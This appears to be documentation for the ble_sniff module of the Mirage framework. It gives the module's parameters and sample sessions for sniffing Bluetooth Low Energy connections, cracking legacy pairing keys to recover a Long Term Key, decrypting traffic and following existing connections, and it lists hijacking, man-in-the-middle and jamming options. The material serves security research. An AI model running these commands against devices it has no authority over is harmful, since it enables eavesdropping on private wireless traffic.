ble_sniff
=========

Presentation
------------

**ble_sniff** passively sniffs advertisements and connections, new or already existing (the type of information to sniff is specified via the *SNIFFING_MODE* input parameter). It works with the Ubertooth One, the HackRF one (advertisements sniffing only), ButteRFly, Sniffle and the normal or custom versions of BTLEJack, harmonising their behaviour, allowing to use several types of sniffers simultaneously (the custom version of BTLEJack is needed to sniff advertisements with a Micro:Bit).
It can also export the sniffed data in a PCAP file (at the path given in the *PCAP_FILE* parameter).

You can also filter the sniffed data or provide additional sniffing parameters by using the *TARGET* (for advertisements and new connections), *ACCESS_ADDRESS*, *CRC_INIT* and *CHANNEL_MAP* parameters.

It also allows real-time decryption, by specifying the long term key in the *LTK* parameter or by cracking it in real-time by putting the *CRACK_KEY* parameter to "yes".

If you are using a single sniffer to sniff a new connection or advertisements, you can use the *SWEEPING* parameter in order to provide a list of advertising channels (separated by commas) to sequentially monitor.

Compatible devices
------------------

 * `BTLEJack Device <devices.html#btlejack-device>`_
 * `Ubertooth Device <devices.html#ubertooth-device>`_
 * `NRFSniffer Device <devices.html#nrfsniffer-device>`_
 * `Sniffle Device <devices.html#nrfsniffer-device>`_
 * `HackRF Device <devices.html#hackrf-device>`_
 * `ButteRFly Device <devices.html#butterfly-device>`_
 * `PCAP Files <devices.html#ble-pcap-files>`_

Input parameters
-----------------

+----------------------------------------+---------------------------------------+--------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------+
| Name                                   | Default value                         | Possible values                                                                            | Description                                                                     |
+========================================+=======================================+============================================================================================+=================================================================================+
| INTERFACE                              | microbit0                             | microbitX, ubertoothX, nrfsnifferX, butterflyX, hackrfX, sniffleX, <file>.pcap             | Primary interface to use                                                        |
+----------------------------------------+---------------------------------------+--------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------+
| INTERFACEA                             |                                       | microbitX, ubertoothX, nrfsnifferX                                                         | Optionnal additional interface                                                  |
+----------------------------------------+---------------------------------------+--------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------+
| INTERFACEB                             |                                       | microbitX, ubertoothX, nrfsnifferX                                                         | Optionnal additional interface                                                  |
+----------------------------------------+---------------------------------------+--------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------+
| TARGET                                 |                                       | <BD address>                                                                               | Target address                                                                  |
+----------------------------------------+---------------------------------------+--------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------+
| CHANNEL                                | 37                                    | 37\|38\|39                                                                                 | Communication channel to observe                                                |
+----------------------------------------+---------------------------------------+--------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------+
| SNIFFING_MODE                          | newConnections                        | newConnections\|existingConnections\|advertisements                                        | Sniffing strategy                                                               |
+----------------------------------------+---------------------------------------+--------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------+
| PCAP_FILE                              |                                       | <file path>                                                                                | PCAP export file                                                                |
+----------------------------------------+---------------------------------------+--------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------+
| HIJACKING_MASTER                       | no                                    | yes|no                                                                                     | Activate Master hijacking mode                                                  |
+----------------------------------------+---------------------------------------+--------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------+
| HIJACKING_SLAVE                        | no                                    | yes|no                                                                                     | Activate Slave hijacking mode (butteRFly device only)                           |
+----------------------------------------+---------------------------------------+--------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------+
| MITMING                                | no                                    | yes|no                                                                                     | Activate Man-in-the-Middle mode (butteRFly device only)                         |
+----------------------------------------+---------------------------------------+--------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------+
| JAMMING                                | no                                    | yes|no                                                                                     | Activate jamming mode                                                           |
+----------------------------------------+---------------------------------------+--------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------+
| ACCESS_ADDRESS                         |                                       | 0xYYYY                                                                                     | Access address for an existing connection                                       |
+----------------------------------------+---------------------------------------+--------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------+
| CRC_INIT                               |                                       | 0xYYYYYY                                                                                   | CRCInit for an existing connection                                              |
+----------------------------------------+---------------------------------------+--------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------+
| CHANNEL_MAP                            |                                       | 0xYYYYYYYYYY                                                                               | Channel Map for an existing connection                                          |
+----------------------------------------+---------------------------------------+--------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------+
| LTK                                    |                                       | <hexadecimal>                                                                              | Long term key for real-time decryption                                          |
+----------------------------------------+---------------------------------------+--------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------+
| CRACK_KEY                              | no                                    | yes|no                                                                                     | Real-time cracking of the LTK                                                   |
+----------------------------------------+---------------------------------------+--------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------+
| SWEEPING                               |                                       | 37[,38[,39]]                                                                               | List of advertising channels to sequentially monitor                            |
+----------------------------------------+---------------------------------------+--------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------+
| SCENARIO                               |                                       | <scenario>                                                                                 | Scenario to use                                                                 |
+----------------------------------------+---------------------------------------+--------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------+

Output parameters
------------------

+----------------------------------------+---------------------------------------------------------------+----------------------------------------------------------------------+
| Name                                   | Possible values                                               | Description                                                          |
+========================================+===============================================================+======================================================================+
| INTERFACE                              | microbitX, ubertoothX,nrfsnifferX,hackrfX,sniffleX,butterflyX | Primary interface used                                               |
+----------------------------------------+---------------------------------------------------------------+----------------------------------------------------------------------+

Scenario signals
-----------------

The behaviour of this module can be modified using scenarios. If you need more details about Mirage scenarios, their usage is described `here <scenarios.html#writing-a-scenario>`_. The following signals are generated by this module if a scenario is provided using the *SCENARIO* input parameter :

+----------------------------------------+-------------------------------------------------------------------+--------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------+
| Signal                                 | Parameters                                                        | Activation                                                                           | Default behaviour                                                                                   |
+========================================+===================================================================+======================================================================================+=====================================================================================================+
| onStart                                |                                                                   | when the module starts its execution                                                 | nothing is executed                                                                                 |
+----------------------------------------+-------------------------------------------------------------------+--------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------+
| onEnd                                  |                                                                   | when the module stops its execution                                                  | nothing is executed                                                                                 |
+----------------------------------------+-------------------------------------------------------------------+--------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------+
| onKey                                  | key                                                               | when a key is pressed                                                                | nothing is executed                                                                                 |
+----------------------------------------+-------------------------------------------------------------------+--------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------+
| onPacket                               | packet                                                            | when packet is received                                                              | the packet is displayed                                                                             |
+----------------------------------------+-------------------------------------------------------------------+--------------------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------+


Usage
------

Sniffing a new connection
^^^^^^^^^^^^^^^^^^^^^^^^^^
You can sniff a new connection by setting the *SNIFFING_MODE* parameter to "newConnections". You can also use the parameter *TARGET* in order to select a specific target device to eavesdrop.

::

	$ sudo mirage ble_sniff SNIFFING_MODE=newConnections
	[INFO] Module ble_sniff loaded !
	[SUCCESS] BTLEJack device #0 successfully instantiated (firmware version : 3.14)
	[INFO] Custom Mirage Firmware used ! Advertisements sniffing and jamming will be supported.
	┌Sniffed Connection─────────┬──────────────┬──────────────┬───────────────┐
	│ Access Address │ CRCInit  │ Channel Map  │ Hop Interval │ Hop Increment │
	├────────────────┼──────────┼──────────────┼──────────────┼───────────────┤
	│ 0xdc1ecc55     │ 0x7dcd5b │ 0x1e007fffff │ 36           │ 12            │
	└────────────────┴──────────┴──────────────┴──────────────┴───────────────┘
	[PACKET] [ CH:37|CLK:1559231652.458995|RSSI:0dBm ] << BLE - Advertisement Packet | type=CONNECT_REQ | srcAddr=41:31:43:14:8D:CF | dstAddr=C4:BE:84:39:8E:07 | accessAddress=0x55cc1edc| crcInit=0x5bcd7d| channelMap=0x1e007fffff| hopInterval=36| hopIncrement=12 >>
	[PACKET] [ CH:34|CLK:1559231652.497539|RSSI:0dBm ] << BLE - Control PDU Packet | type=LL_FEATURE_REQ | data=ff05000000000000 >>
	[PACKET] [ CH:34|CLK:1559231652.542474|RSSI:0dBm ] << BLE - Control PDU Packet | type=LL_FEATURE_RSP | data=0100000000000000 >>
	[PACKET] [ CH:36|CLK:1559231652.586682|RSSI:0dBm ] << BLE - Control PDU Packet | type=LL_VERSION_IND | data=091d00be02 >>
	[PACKET] [ CH:11|CLK:1559231652.629607|RSSI:0dBm ] << BLE - Control PDU Packet | type=LL_VERSION_IND | data=060d003201 >>
	[PACKET] [ CH:6|CLK:1559231658.302154|RSSI:0dBm ] << BLE - Read Request Packet | handle=0x3 >>
	[PACKET] [ CH:18|CLK:1559231658.350558|RSSI:0dBm ] << BLE - Read Response Packet | value=53616c6f6e >>
	[PACKET] [ CH:22|CLK:1559231661.13682|RSSI:0dBm ] << BLE - Control PDU Packet | type=LL_CHANNEL_MAP_REQ | data=00ff7f001ec900 >>
	[PACKET] [ CH:15|CLK:1559231667.075383|RSSI:0dBm ] << BLE - Control PDU Packet | type=LL_TERMINATE_IND | data=13 >>
	[FAIL] Connection lost !
	[INFO] Mirage process terminated !

You can easily export the corresponding packets by providing a PCAP filename in the *PCAP_FILE* parameter :
::

	$ sudo mirage ble_sniff SNIFFING_MODE=newConnections PCAP_FILE=out.pcap
	[INFO] Module ble_sniff loaded !
	[SUCCESS] PCAP file successfully loaded (DLT : 256) ! 
	[SUCCESS] BTLEJack device #0 successfully instantiated (firmware version : 3.14)
	[INFO] Custom Mirage Firmware used ! Advertisements sniffing and jamming will be supported.
	┌Sniffed Connection─────────┬──────────────┬──────────────┬───────────────┐
	│ Access Address │ CRCInit  │ Channel Map  │ Hop Interval │ Hop Increment │
	├────────────────┼──────────┼──────────────┼──────────────┼───────────────┤
	│ 0x4b208adf     │ 0x23c40f │ 0x1e007fffff │ 36           │ 16            │
	└────────────────┴──────────┴──────────────┴──────────────┴───────────────┘
	[PACKET] [ CH:37|CLK:1559231822.725186|RSSI:0dBm ] << BLE - Advertisement Packet | type=CONNECT_REQ | srcAddr=41:31:43:14:8D:CF | dstAddr=C4:BE:84:39:8E:07 | accessAddress=0xdf8a204b| crcInit=0xfc423| channelMap=0x1e007fffff| hopInterval=36| hopIncrement=16 >>
	[PACKET] [ CH:8|CLK:1559231822.74883|RSSI:0dBm ] << BLE - Control PDU Packet | type=LL_FEATURE_REQ | data=ff05000000000000 >>
	[PACKET] [ CH:5|CLK:1559231822.772038|RSSI:0dBm ] << BLE - Control PDU Packet | type=LL_FEATURE_RSP | data=0100000000000000 >>
	[PACKET] [ CH:11|CLK:1559231822.815338|RSSI:0dBm ] << BLE - Control PDU Packet | type=LL_VERSION_IND | data=091d00be02 >>
	[PACKET] [ CH:0|CLK:1559231822.863471|RSSI:0dBm ] << BLE - Control PDU Packet | type=LL_VERSION_IND | data=060d003201 >>
	[PACKET] [ CH:5|CLK:1559231829.43411|RSSI:0dBm ] << BLE - Read Request Packet | handle=0x3 >>
	[PACKET] [ CH:6|CLK:1559231829.569889|RSSI:0dBm ] << BLE - Read Response Packet | value=53616c6f6e >>
	[PACKET] [ CH:3|CLK:1559231831.951806|RSSI:0dBm ] << BLE - Control PDU Packet | type=LL_TERMINATE_IND | data=13 >>
	[FAIL] Connection lost !
	[INFO] Mirage process terminated !

As a result, it will generates a PCAP file using the DLT 256, you can open it using wireshark :

.. image:: pcap.png
	:align: center

An interesting feature of **ble_sniff** allows to use this PCAP file as an interface : it will read the captured packet in real time, as if they were captured from the output of a normal sniffer :
::

	$ sudo mirage ble_sniff SNIFFING_MODE=newConnections INTERFACE=out.pcap
	[INFO] Module ble_sniff loaded !
	[SUCCESS] PCAP file successfully loaded (DLT : 256) ! 
	[PACKET] [ CH:37|CLK:1559231822.725186|RSSI:0dBm ] << BLE - Advertisement Packet | type=CONNECT_REQ | srcAddr=41:31:43:14:8D:CF | dstAddr=C4:BE:84:39:8E:07 | accessAddress=0xdf8a204b| crcInit=0xfc423| channelMap=0x1e007fffff| hopInterval=36| hopIncrement=16 >>
	┌Sniffed Connection─────────┬──────────────┬──────────────┬───────────────┐
	│ Access Address │ CRCInit  │ Channel Map  │ Hop Interval │ Hop Increment │
	├────────────────┼──────────┼──────────────┼──────────────┼───────────────┤
	│ 0x4b208adf     │ 0x fc423 │ 0x1e007fffff │ 36           │ 16            │
	└────────────────┴──────────┴──────────────┴──────────────┴───────────────┘
	[PACKET] [ CH:8|CLK:1559231822.74883|RSSI:0dBm ] << BLE - Control PDU Packet | type=LL_FEATURE_REQ | data=ff05000000000000 >>
	[PACKET] [ CH:5|CLK:1559231822.772037|RSSI:0dBm ] << BLE - Control PDU Packet | type=LL_FEATURE_RSP | data=0100000000000000 >>
	[PACKET] [ CH:11|CLK:1559231822.815336|RSSI:0dBm ] << BLE - Control PDU Packet | type=LL_VERSION_IND | data=091d00be02 >>
	[PACKET] [ CH:0|CLK:1559231822.863471|RSSI:0dBm ] << BLE - Control PDU Packet | type=LL_VERSION_IND | data=060d003201 >>
	[PACKET] [ CH:5|CLK:1559231829.434108|RSSI:0dBm ] << BLE - Read Request Packet | handle=0x3 >>
	[PACKET] [ CH:6|CLK:1559231829.569889|RSSI:0dBm ] << BLE - Read Response Packet | value=53616c6f6e >>
	[PACKET] [ CH:3|CLK:1559231831.951806|RSSI:0dBm ] << BLE - Control PDU Packet | type=LL_TERMINATE_IND | data=13 >>
	[INFO] Mirage process terminated !

Pairing process
^^^^^^^^^^^^^^^^

**ble_sniff** can be used to crack the temporary key and get the Short and Long Term Keys during a legacy pairing process. If you want to perform such an attack, you only need to enable the *CRACK_KEY* parameter :
::	

	$ sudo mirage ble_sniff SNIFFING_MODE=newConnections CRACK_KEY=yes
	[INFO] Module ble_sniff loaded !
	[SUCCESS] BTLEJack device #0 successfully instantiated (firmware version : 3.14)
	[INFO] Custom Mirage Firmware used ! Advertisements sniffing and jamming will be supported.
	┌Sniffed Connection─────────┬──────────────┬──────────────┬───────────────┐
	│ Access Address │ CRCInit  │ Channel Map  │ Hop Interval │ Hop Increment │
	├────────────────┼──────────┼──────────────┼──────────────┼───────────────┤
	│ 0x762fc993     │ 0x144b4d │ 0x1e007fffff │ 36           │ 14            │
	└────────────────┴──────────┴──────────────┴──────────────┴───────────────┘
	[PACKET] [ CH:37|CLK:1559232684.003485|RSSI:0dBm ] << BLE - Advertisement Packet | type=CONNECT_REQ | srcAddr=5C:4A:9C:34:92:82 | dstAddr=C4:BE:84:39:8E:07 | accessAddress=0x93c92f76| crcInit=0x4d4b14| channelMap=0x1e007fffff| hopInterval=36| hopIncrement=14 >>
	[PACKET] [ CH:19|CLK:1559232684.018554|RSSI:0dBm ] << BLE - Control PDU Packet | type=LL_FEATURE_REQ | data=ff05000000000000 >>
	[PACKET] [ CH:1|CLK:1559232684.061144|RSSI:0dBm ] << BLE - Control PDU Packet | type=LL_FEATURE_RSP | data=0100000000000000 >>
	[PACKET] [ CH:5|CLK:1559232684.103621|RSSI:0dBm ] << BLE - Control PDU Packet | type=LL_VERSION_IND | data=091d00be02 >>
	[PACKET] [ CH:19|CLK:1559232684.151427|RSSI:0dBm ] << BLE - Control PDU Packet | type=LL_VERSION_IND | data=060d003201 >>
	[PACKET] [ CH:33|CLK:1559232684.196667|RSSI:0dBm ] << BLE - Control PDU Packet | type=LL_CONNECTION_UPDATE_REQ | data=01000006000000f4010d00 >>
	[PACKET] [ CH:33|CLK:1559232684.208758|RSSI:0dBm ] << BLE - Read By Group Type Request Packet >>

	[...]
		
	[PACKET] [ CH:35|CLK:1559232685.265053|RSSI:0dBm ] << BLE - Control PDU Packet | type=LL_CONNECTION_UPDATE_REQ | data=01000024000000f4016700 >>
	[PACKET] [ CH:34|CLK:1559232685.904246|RSSI:0dBm ] << BLE - Control PDU Packet | type=LL_CHANNEL_MAP_REQ | data=00ff7f001e8000 >>
	[PACKET] [ CH:16|CLK:1559232688.650088|RSSI:0dBm ] << BLE - Control PDU Packet | type=LL_CONNECTION_UPDATE_REQ | data=01000006000000f401bb00 >>
	[PACKET] [ CH:16|CLK:1559232688.662497|RSSI:0dBm ] << BLE - Pairing Request Packet | outOfBand=no | inputOutputCapability=0x4 | authentication=0xd | maxKeySize=16 | initiatorKeyDistribution=0x7 | responderKeyDistribution=0x7 >>
	[PACKET] [ CH:12|CLK:1559232688.696688|RSSI:0dBm ] << BLE - Pairing Response Packet | outOfBand=no | inputOutputCapability=0x0 | authentication=0x5 | maxKeySize=16 | initiatorKeyDistribution=0x7 | responderKeyDistribution=0x7 >>
	[PACKET] [ CH:18|CLK:1559232695.110091|RSSI:0dBm ] << BLE - Pairing Confirm Packet | confirm=0a2dd38d8fd5a6176fdc5c2a62bd6ad2 >>
	[PACKET] [ CH:21|CLK:1559232695.124354|RSSI:0dBm ] << BLE - Pairing Confirm Packet | confirm=5720a0934ca3630bc61a9902c7a2dfb6 >>
	[PACKET] [ CH:9|CLK:1559232695.141818|RSSI:0dBm ] << BLE - Pairing Random Packet | random=8fbe03836ed64a6c86b9e21bbf888cf0 >>
	[INFO] Cracking TK ...
	[SUCCESS] Pin found : 0
	[SUCCESS] Temporary Key found : 00000000000000000000000000000000
	[PACKET] [ CH:12|CLK:1559232695.216752|RSSI:0dBm ] << BLE - Pairing Random Packet | random=48e247f577b038a4fc51c0024f1387f6 >>
	[INFO] Derivating Short Term Key ...
	[SUCCESS] Short Term Key found : 648765129e63e317e61089d8567740c6
	[PACKET] [ CH:8|CLK:1559232695.227768|RSSI:0dBm ] << BLE - Control PDU Packet | type=LL_ENC_REQ | data=000000000000000000000bce6c3ecf5eb618e3db393c >>
	[PACKET] [ CH:14|CLK:1559232695.235737|RSSI:0dBm ] << BLE - Control PDU Packet | type=LL_ENC_RSP | data=3b7867e42f28eba99e857cf2 >>
	[SUCCESS] Session key successfully generated !
	┌Encryption information──────────────────────────┐
	│ Name        │ Value                            │
	├─────────────┼──────────────────────────────────┤
	│ Master SKD  │ 18b65ecf3e6cce0b                 │
	│ Master IV   │ e3db393c                         │
	│ Slave SKD   │ 18b65ecf3e6cce0b                 │
	│ Slave IV    │ e3db393c                         │
	│ SKD         │ a9eb282fe467783b18b65ecf3e6cce0b │
	│ IV          │ e3db393c9e857cf2                 │
	│ Session Key │ b90093af072c41040b5fac2a656b526f │
	└─────────────┴──────────────────────────────────┘
	[PACKET] [ CH:13|CLK:1559232695.240302|RSSI:0dBm ] << BLE - Control PDU Packet | type=LL_START_ENC_REQ | data= >>
	[PACKET] [ CH:19|CLK:1559232695.247308|RSSI:0dBm ] << BLE - Control PDU Packet | type=LL_START_ENC_RESP | data= >>
	[PACKET] [ CH:33|CLK:1559232695.255887|RSSI:0dBm ] << BLE - Control PDU Packet | type=LL_START_ENC_RESP | data= >>
	[PACKET] [ CH:10|CLK:1559232695.265593|RSSI:0dBm ] << BLE - Encryption Information Packet | ltk=ef9515ce16cfd6cf6a9ffdae8001bba3 >>
	[PACKET] [ CH:11|CLK:1559232695.27619|RSSI:0dBm ] << BLE - Master Identification Packet | rand=90c46e6fbdad9431 | ediv=0xf4b1 >>
	[PACKET] [ CH:35|CLK:1559232695.294308|RSSI:0dBm ] << BLE - Identity Information Packet | irk=97378defa86642fe44f3f4b363877ea8 >>
	[PACKET] [ CH:36|CLK:1559232695.356797|RSSI:0dBm ] << BLE - Identity Address Information Packet | type=public | address=c4:be:84:39:8e:07 >>
	[PACKET] [ CH:8|CLK:1559232695.419021|RSSI:0dBm ] << BLE - Signing Information Packet | csrk=6387fea8b342b7b4c7f7ec9356cdb1bc >>
	[PACKET] [ CH:17|CLK:1559232695.438151|RSSI:0dBm ] << BLE - Encryption Information Packet | ltk=9bdb4da4539198a36df886b121e6fbf1 >>
	[PACKET] [ CH:17|CLK:1559232695.453346|RSSI:0dBm ] << BLE - Master Identification Packet | rand=e36118e74e4fd0cc | ediv=0xb0b6 >>
	[PACKET] [ CH:17|CLK:1559232695.466523|RSSI:0dBm ] << BLE - Identity Information Packet | irk=84bf2598801eda5822c8c0029c63a933 >>
	[PACKET] [ CH:17|CLK:1559232695.475723|RSSI:0dBm ] << BLE - Identity Address Information Packet | type=public | address=e0:62:67:24:2d:e5 >>
	[PACKET] [ CH:17|CLK:1559232695.488023|RSSI:0dBm ] << BLE - Signing Information Packet | csrk=d6a72bb2b8111451058e6cc3001c1a82 >>
	[FAIL] Connection lost !


In this example, it allows us to get the Long Term Key value : ``ef9515ce16cfd6cf6a9ffdae8001bba3``

Dealing with Encryption
^^^^^^^^^^^^^^^^^^^^^^^^
If you want to monitor an encrypted connection, the encrypted packets are captured :
::

	$ sudo mirage ble_sniff SNIFFING_MODE=newConnections
	[INFO] Module ble_sniff loaded !
	[SUCCESS] BTLEJack device #0 successfully instantiated (firmware version : 3.14)
	[INFO] Custom Mirage Firmware used ! Advertisements sniffing and jamming will be supported.
	┌Sniffed Connection─────────┬──────────────┬──────────────┬───────────────┐
	│ Access Address │ CRCInit  │ Channel Map  │ Hop Interval │ Hop Increment │
	├────────────────┼──────────┼──────────────┼──────────────┼───────────────┤
	│ 0x57d76247     │ 0x55d24d │ 0x1e007fffff │ 36           │ 14            │
	└────────────────┴──────────┴──────────────┴──────────────┴───────────────┘
	[PACKET] [ CH:37|CLK:1559232921.531493|RSSI:0dBm ] << BLE - Advertisement Packet | type=CONNECT_REQ | srcAddr=5C:C7:96:4A:76:D8 | dstAddr=C4:BE:84:39:8E:07 | accessAddress=0x4762d757| crcInit=0x4dd255| channelMap=0x1e007fffff| hopInterval=36| hopIncrement=14 >>
	[PACKET] [ CH:9|CLK:1559232921.567592|RSSI:0dBm ] << BLE - Control PDU Packet | type=LL_FEATURE_REQ | data=ff05000000000000 >>
	[PACKET] [ CH:1|CLK:1559232921.612571|RSSI:0dBm ] << BLE - Control PDU Packet | type=LL_FEATURE_RSP | data=0100000000000000 >>
	[PACKET] [ CH:5|CLK:1559232921.655051|RSSI:0dBm ] << BLE - Control PDU Packet | type=LL_VERSION_IND | data=091d00be02 >>
	[PACKET] [ CH:19|CLK:1559232921.700782|RSSI:0dBm ] << BLE - Control PDU Packet | type=LL_VERSION_IND | data=060d003201 >>
	[PACKET] [ CH:33|CLK:1559232921.749782|RSSI:0dBm ] << BLE - Control PDU Packet | type=LL_ENC_REQ | data=90c46e6fbdad9431b1f4637fb823a5aab64d932fa2bd >>
	[PACKET] [ CH:10|CLK:1559232921.794867|RSSI:0dBm ] << BLE - Control PDU Packet | type=LL_ENC_RSP | data=e57a18daef375ac3fe4d6ce5 >>
	[PACKET] [ CH:15|CLK:1559232921.923441|RSSI:0dBm ] << BLE - Control PDU Packet | type=LL_START_ENC_REQ | data= >>
	[PACKET] [ CH:2|CLK:1559232921.969933|RSSI:0dBm ] << BLE - Encrypted Packet | data=0305c3d2ba4741 >>
	[PACKET] [ CH:6|CLK:1559232922.015368|RSSI:0dBm ] << BLE - Encrypted Packet | data=0b0569c87a19c1 >>
	[PACKET] [ CH:4|CLK:1559232924.626817|RSSI:0dBm ] << BLE - Encrypted Packet | data=0e0b2c37b49e128b791471d8b2 >>
	[PACKET] [ CH:18|CLK:1559232924.676504|RSSI:0dBm ] << BLE - Encrypted Packet | data=060e9902f50922d780648257011f10a9 >>
	[PACKET] [ CH:34|CLK:1559232927.10005|RSSI:0dBm ] << BLE - Encrypted Packet | data=0f06dc5f4addf99b >>
	[FAIL] Connection lost !
	[INFO] Mirage process terminated !

However, if you know the Long Term Key, you can provide it using the *LTK* parameter, and the module will try to decrypt the packets in real time :
::

	$ sudo mirage ble_sniff SNIFFING_MODE=newConnections LTK=ef9515ce16cfd6cf6a9ffdae8001bba3
	[INFO] Module ble_sniff loaded !
	[SUCCESS] BTLEJack device #0 successfully instantiated (firmware version : 3.14)
	[INFO] Custom Mirage Firmware used ! Advertisements sniffing and jamming will be supported.
	┌Sniffed Connection─────────┬──────────────┬──────────────┬───────────────┐
	│ Access Address │ CRCInit  │ Channel Map  │ Hop Interval │ Hop Increment │
	├────────────────┼──────────┼──────────────┼──────────────┼───────────────┤
	│ 0x68929a4d     │ 0x2203e7 │ 0x1e007fffff │ 36           │ 8             │
	└────────────────┴──────────┴──────────────┴──────────────┴───────────────┘
	[PACKET] [ CH:37|CLK:1559233055.557094|RSSI:0dBm ] << BLE - Advertisement Packet | type=CONNECT_REQ | srcAddr=5C:C7:96:4A:76:D8 | dstAddr=C4:BE:84:39:8E:07 | accessAddress=0x4d9a9268| crcInit=0xe70322| channelMap=0x1e007fffff| hopInterval=36| hopIncrement=8 >>
	[PACKET] [ CH:35|CLK:1559233055.573862|RSSI:0dBm ] << BLE - Control PDU Packet | type=LL_FEATURE_REQ | data=ff05000000000000 >>
	[PACKET] [ CH:16|CLK:1559233055.619359|RSSI:0dBm ] << BLE - Control PDU Packet | type=LL_FEATURE_RSP | data=0100000000000000 >>
	[PACKET] [ CH:34|CLK:1559233055.663172|RSSI:0dBm ] << BLE - Control PDU Packet | type=LL_VERSION_IND | data=091d00be02 >>
	[PACKET] [ CH:5|CLK:1559233055.708305|RSSI:0dBm ] << BLE - Control PDU Packet | type=LL_VERSION_IND | data=060d003201 >>
	[PACKET] [ CH:3|CLK:1559233055.759385|RSSI:0dBm ] << BLE - Control PDU Packet | type=LL_ENC_REQ | data=90c46e6fbdad9431b1f49c5a26d0005213a99b217ce5 >>
	[PACKET] [ CH:11|CLK:1559233055.798218|RSSI:0dBm ] << BLE - Control PDU Packet | type=LL_ENC_RSP | data=9104dad1a8811ca2203e7002 >>
	[SUCCESS] Session key successfully generated !
	┌Encryption information──────────────────────────┐
	│ Name        │ Value                            │
	├─────────────┼──────────────────────────────────┤
	│ Master SKD  │ a9135200d0265a9c                 │
	│ Master IV   │ 9b217ce5                         │
	│ Slave SKD   │ a9135200d0265a9c                 │
	│ Slave IV    │ 9b217ce5                         │
	│ SKD         │ a21c81a8d1da0491a9135200d0265a9c │
	│ IV          │ 9b217ce5203e7002                 │
	│ Session Key │ 3709e2db45b0be6124cf0b0142718de4 │
	└─────────────┴──────────────────────────────────┘
	[PACKET] [ CH:0|CLK:1559233055.886308|RSSI:0dBm ] << BLE - Control PDU Packet | type=LL_START_ENC_REQ | data= >>
	[PACKET] [ CH:35|CLK:1559233055.934792|RSSI:0dBm ] << BLE - Control PDU Packet | type=LL_START_ENC_RESP | data= >>
	[PACKET] [ CH:6|CLK:1559233055.976335|RSSI:0dBm ] << BLE - Control PDU Packet | type=LL_START_ENC_RESP | data= >>
	[PACKET] [ CH:22|CLK:1559233059.399714|RSSI:0dBm ] << BLE - Read Request Packet | handle=0x3 >>
	[PACKET] [ CH:3|CLK:1559233059.4457|RSSI:0dBm ] << BLE - Read Response Packet | value=53616c6f6e >>
	[PACKET] [ CH:8|CLK:1559233062.233035|RSSI:0dBm ] << BLE - Control PDU Packet | type=LL_TERMINATE_IND | data=13 >>
	[FAIL] Connection lost !
	[INFO] Mirage process terminated !

Sniffing an existing connection
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
**ble_sniff** is also able to sniff an existing connection. The sniffer will try to recover the existing parameters (Access Address, CRC Init, Hop Interval, Hop Increment and Channel Map) by applying an algorithm designed by Mike Ryan and improved by Damien Cauquil.
If you want to perform such an attack, set the input parameter *SNIFFING_MODE* to "existingConnections" :
keep in mind that this module is one of the less mature so it's probably a bit buggy. If you get trouble using this feature, please report your error in the BugTracker.

::

	$ sudo mirage ble_sniff SNIFFING_MODE=existingConnections
	[INFO] Module ble_sniff loaded !
	[SUCCESS] BTLEJack device #0 successfully instantiated (firmware version : 3.14)
	[INFO] Custom Mirage Firmware used ! Advertisements sniffing and jamming will be supported.
	[INFO] Recovering access address ...
	[INFO] Candidate access address found : 0x50657d54 (rssi = -98dBm / channel = 22)
	[INFO] Candidate access address found : 0x50657d54 (rssi = -93dBm / channel = 24)
	[INFO] Candidate access address found : 0x50657d54 (rssi = -96dBm / channel = 24)
	[INFO] Candidate access address found : 0x50657d54 (rssi = -97dBm / channel = 24)
	[INFO] Candidate access address found : 0x50657d54 (rssi = -95dBm / channel = 24)
	[SUCCESS] Access Address selected : 0x50657d54
	[INFO] Recovering CRCInit ...
	[SUCCESS] CRCInit successfully recovered : 0x3e1735
	[INFO] Recovering ChannelMap ...
	()))))))))))))))))))))))))))))))))____________________________) 19/36 channels

As you can see, it tries to recover the different Channel Hopping related parameters. If it succeeds, the sniffed packets can be displayed :
::

	$ sudo mirage ble_sniff SNIFFING_MODE=existingConnections
	[INFO] Module ble_sniff loaded !
	[SUCCESS] BTLEJack device #0 successfully instantiated (firmware version : 3.14)
	[INFO] Custom Mirage Firmware used ! Advertisements sniffing and jamming will be supported.
	[INFO] Recovering access address ...
	[INFO] Candidate access address found : 0x50657d54 (rssi = -98dBm / channel = 15)
	[INFO] Candidate access address found : 0x50657d54 (rssi = -98dBm / channel = 16)
	[INFO] Candidate access address found : 0x50657d54 (rssi = -98dBm / channel = 16)
	[INFO] Candidate access address found : 0x50657d54 (rssi = -98dBm / channel = 17)
	[INFO] Candidate access address found : 0x50657d54 (rssi = -98dBm / channel = 19)
	[SUCCESS] Access Address selected : 0x50657d54
	[INFO] Recovering CRCInit ...
	[SUCCESS] CRCInit successfully recovered : 0x3e1735
	[INFO] Recovering ChannelMap ...
	()))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) 36/36 channels
	[SUCCESS] Channel Map successfully recovered : 0x1fffffc000
	[INFO] Recovering Hop Interval ...
	[SUCCESS] Hop Interval successfully recovered : 9
	[INFO] Recovering Hop Increment ...
	[SUCCESS] Hop Increment successfully recovered : 12
	[INFO] All parameters recovered, following connection ...
	┌Sniffed Connection─────────┬──────────────┬──────────────┬───────────────┐
	│ Access Address │ CRCInit  │ Channel Map  │ Hop Interval │ Hop Increment │
	├────────────────┼──────────┼──────────────┼──────────────┼───────────────┤
